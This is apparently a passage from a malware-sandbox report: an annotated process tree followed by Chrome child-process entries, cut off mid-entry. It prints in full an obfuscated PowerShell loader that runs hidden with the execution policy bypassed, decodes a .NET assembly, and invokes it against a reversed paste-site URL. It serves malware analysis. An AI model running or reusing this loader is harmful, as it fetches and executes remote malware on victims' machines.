⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹TwBm↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BG↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cs↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹LgBM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹YgBh↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹T↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹BJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹t↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBT↦ ☰ ䷸ ㈽ ⺹HU↦ ☰ ䷸ ㈽ ⺹YgBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹cgBp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹Zw↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹QwBv↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBl↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBG↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹bwBt↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹YQBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Ng↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹By↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹bwBh↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBk↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹UgBl↦ ☰ ䷸ ㈽ ⺹GY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bg↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBM↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹QQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBi↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBP↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹S↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹Ec↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹E0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹JwBW↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹SQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBv↦ ☰ ䷸ ㈽ ⺹Gs↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹bgB1↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹WwBv↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹F0↦ ☰ ䷸ ㈽ ⺹XQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹bgBV↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹OgBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹QQBk↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹F↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹cgBv↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Mw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹L↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('↦ ☰ ䷸ ㈽ ⺹','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                  3⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:5528
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe"
              1⤵
              • Drops file in Windows directory
              • Enumerates system info in registry
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of WriteProcessMemory
              PID:3480
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xe4,0x108,0x7ffd634fcc40,0x7ffd634fcc4c,0x7ffd634fcc58
                2⤵
                  PID:4552
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1844,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=1840 /prefetch:2
                  2⤵
                    PID:4064
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2116,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2124 /prefetch:3
                    2⤵
                      PID:3060
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2188,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2204 /prefetch:8
                      2⤵
                        PID:1096
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3112,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3144 /prefetch:1
                        2⤵
                          PID:1608
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3152,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3328 /prefetch:1
                          2⤵
                            PID:412
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4504,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4516 /prefetch:1
                            2⤵
                              PID:884
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4644,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4684 /prefetch:8
                              2⤵
                                PID:2060
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4652,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4640 /prefetch:8
                                2⤵
                                  PID:2804
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4696,i,1804272401296403489,1144253862138429657,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4908 /prefetch:8
                                  2⤵
                                    PID:900
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
